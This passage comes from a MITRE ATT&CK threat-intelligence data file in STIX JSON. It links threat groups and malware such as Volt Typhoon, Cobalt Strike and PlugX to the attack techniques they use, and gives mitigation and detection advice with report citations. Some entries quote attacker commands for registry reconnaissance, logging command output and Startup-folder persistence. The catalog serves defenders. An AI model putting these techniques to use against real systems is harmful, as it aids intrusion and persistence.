"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--de4a0c7c-2a21-4038-8466-7f933be35d95", "created": "2023-08-01T20:50:14.123Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023", "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.", "url": "https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-08T17:13:44.839Z", "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has queried the Registry on compromised systems, `reg query hklm\\software\\`, for information on installed software.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de4ae50a-0561-4d01-885a-eab60008d5eb", "type": "relationship", "created": "2020-10-14T00:44:35.257Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "source_name": "Mandiant APT1"}], "modified": "2020-10-14T00:44:35.257Z", "description": "[APT1](https://attack.mitre.org/groups/G0006) has sent spearphishing emails containing malicious attachments.(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de4ce747-488a-4def-8ede-8a3d371c9dd4", "type": "relationship", "created": "2020-10-19T19:42:19.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-22T16:54:59.154Z", "description": "Restrict administrator accounts to as few individuals as possible, following least privilege principles.  Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de525077-129a-4d14-8419-6a3d219710a8", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-16T16:57:38.941Z", "description": "[JPIN](https://attack.mitre.org/software/S0201) can list running services.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de539175-4740-4d78-a46d-5555be905dcf", "type": "relationship", "created": "2022-01-10T19:52:49.144Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}], "modified": "2022-01-11T16:03:18.951Z", "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) can track key presses with a keylogger module.(Citation: Prevailion DarkWatchman 2021)", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de55c190-81ee-49b8-a279-1692725ea6cc", "type": "relationship", "created": "2020-07-17T15:48:51.479Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CME Github September 2018", "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference", "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}], "modified": "2020-07-29T20:01:02.423Z", "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can collect DNS information from the targeted system.(Citation: CME Github September 2018)", "relationship_type": "uses", "source_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de56c26f-ea38-4e6e-a933-fdf4cd1932dd", "type": "relationship", "created": "2020-03-24T14:09:11.791Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-24T14:09:11.791Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--de676fc0-0b1f-4392-a84b-f412c660d89a", "created": "2021-04-12T18:09:42.763Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Cobalt Strike September 2020", "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021.", "url": "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:37:12.392Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can exploit Oracle Java vulnerabilities for execution, including CVE-2011-3544, CVE-2013-2465, CVE-2012-4681, and CVE-2013-2460.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de70abfa-848f-4993-bdb8-7235d4a3d720", "type": "relationship", "created": "2020-05-18T20:04:59.441Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}], "modified": "2020-05-18T20:04:59.441Z", "description": "[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to identify the IP address, machine name, and OS of the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "malware--73c4711b-407a-449d-b269-e3b1531fe7a9", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--de727da1-d36f-4e33-99a1-05ce2df29094", "created": "2022-07-25T18:25:54.941Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can identify removable media attached to victim's machines.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-25T18:25:54.941Z", "relationship_type": "uses", "source_ref": "malware--dff90475-9f72-41a6-84ed-1fbefd3874c0", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de73c6a8-fd33-469d-b7e4-e4f6edd823b9", "type": "relationship", "created": "2020-10-12T17:50:31.765Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-12T17:50:31.765Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de745ef4-59a0-470c-95c9-5043a717dc54", "type": "relationship", "created": "2020-06-22T20:34:05.362Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}, {"source_name": "FireEye Metamorfo Apr 2018", "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}, {"source_name": "Fortinet Metamorfo Feb 2020", "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions", "description": "Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}, {"source_name": "ESET Casbaneiro Oct 2019", "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/", "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}], "modified": "2021-10-15T00:45:22.072Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used MSI files to download additional files to execute.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--de7c6e69-dd8f-4063-aaa2-569ab767629e", "type": "relationship", "created": "2019-01-30T15:19:15.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/", "source_name": "Unit42 Azorult Nov 2018"}], "modified": "2019-07-26T23:22:28.631Z", "description": "[Azorult](https://attack.mitre.org/software/S0344) can recursively search for files in folders and collects files from the desktop with certain extensions.(Citation: Unit42 Azorult Nov 2018)", "relationship_type": "uses", "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--de7f9b12-d6e7-4ef6-b55c-77bbca0f8c83", "created": "2023-04-10T22:13:19.190Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Rapid7 HAFNIUM Mar 2021", "description": "Eoin Miller. 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The group has used a modified version of pentesting script wmiexec.vbs to execute commands.(Citation: PWC Cloud Hopper April 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)(Citation: FireEye APT10 Sept 2018) [menuPass](https://attack.mitre.org/groups/G0045) has used malicious macros embedded inside Office documents to execute files.(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--deab6c7f-8d5e-4c77-ab58-3d8cf9c2adf4", "type": "relationship", "created": "2020-08-13T17:38:23.721Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}], "modified": "2020-08-13T17:38:23.721Z", "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can perform reconnaissance commands on a victim machine via a cmd.exe process.(Citation: Secureworks Karagany July 2019)", "relationship_type": "uses", "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--deae71f8-d849-484f-b49d-757356e195c5", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. 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Retrieved May 16, 2018.", "source_name": "McAfee GhostSecret"}], "modified": "2020-03-19T19:44:51.038Z", "description": "[Proxysvc](https://attack.mitre.org/software/S0238) executes a binary on the system and logs the results into a temp file by using: <code>cmd.exe /c \"<file_path> > %temp%\\PM* .tmp 2>&1\"</code>.(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--deafd60c-af1a-40eb-bc43-287b37553fae", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://labs.lastline.com/an-analysis-of-plugx", "description": "Vasilenko, R. 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Retrieved March 16, 2022."}], "modified": "2022-03-16T19:50:41.646Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) can use the Windows API functions `GetProcAddress`, `LoadLibrary`, and `CreateProcess` to execute another process.(Citation: Lastline PlugX Analysis)(Citation: Proofpoint TA416 Europe March 2022)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--deb55b94-e38c-4941-9ebd-8cc3343c3eae", "type": "relationship", "created": "2019-07-09T17:54:21.414Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R. and Lancaster, T. (2019, May 28). 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Retrieved March 13, 2023.", "url": "https://aadinternals.com/post/azurevms/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T21:31:45.616Z", "description": "[AADInternals](https://attack.mitre.org/software/S0677) can execute commands on Azure virtual machines using the VM agent.(Citation: AADInternals Root Access to Azure VMs)", "relationship_type": "uses", "source_ref": "tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756", "target_ref": "attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--deb7df24-689e-4e4e-909f-a270241ab65a", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Securelist WhiteBear Aug 2017", "description": "Kaspersky Lab's Global Research & Analysis Team. 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It also uses RSA to encrypt resources.(Citation: Securelist WhiteBear Aug 2017)", "relationship_type": "uses", "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--debfc37d-448d-497a-8cef-2c7ada3883d1", "type": "relationship", "created": "2021-04-01T02:28:58.528Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye DLL Side-Loading", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."}], "modified": "2021-04-26T18:31:35.200Z", "description": "When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.(Citation: FireEye DLL Side-Loading)", "relationship_type": "mitigates", "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dec02920-c2d1-4340-a503-f6a38ae0b0f7", "created": "2023-02-13T20:17:06.636Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MDSec Brute Ratel August 2022", "description": "Chell, D.  PART 3: How I Met Your Beacon \u2013 Brute Ratel. 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(2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-05-26T16:17:59.535Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) has deleted files on infected machines.(Citation: Anomali Rocke March 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--deca3e0f-7c9a-44f2-aff5-db94ce5933e1", "type": "relationship", "created": "2021-08-23T19:38:33.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Awake Security Avaddon", "url": "https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/", "description": "Gahlot, A. (n.d.). Threat Hunting for Avaddon Ransomware. Retrieved August 19, 2021."}], "modified": "2021-10-18T20:36:35.621Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) can collect the external IP address of the victim.(Citation: Awake Security Avaddon)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--decc0aea-70d2-42b8-8529-3049b9f5937f", "created": "2021-12-27T16:53:13.921Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Uptycs Confucius APT Jan 2021", "url": "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", "description": "Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has dropped malicious files into the startup folder `%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup` on a compromised host in order to maintain persistence.(Citation: Uptycs Confucius APT Jan 2021)", "modified": "2022-06-30T20:15:32.709Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ded09cd6-73be-488d-8e3c-bff62324b21b", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor for unexpected deletion of a cloud volume (ex: AWS delete-volume)", "source_ref": "x-mitre-data-component--3acecdde-c327-4498-9bb8-33a2e63c6c57", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dede2215-e875-427c-a42e-794449c0f5c8", "type": "relationship", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.876Z", "description": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)", "source_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}, {"source_name": "Medium Detecting WMI Persistence", "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"}, {"source_name": "Elastic - Hunting for Persistence Part 1", "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.", "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dedf19b5-f91d-4555-93fe-c551f9ca6302", "type": "relationship", "created": "2021-09-29T20:46:38.420Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T20:46:38.421Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has used cron to create pre-scheduled and periodic background jobs on a Linux system.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dedfdac6-c76b-4baa-99ca-3f0233141d2d", "type": "relationship", "created": "2019-09-12T18:04:13.255Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://vms.drweb.com/virus/?i=4276269", "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", "source_name": "Fysbis Dr Web Analysis"}], "modified": "2020-03-18T00:18:58.744Z", 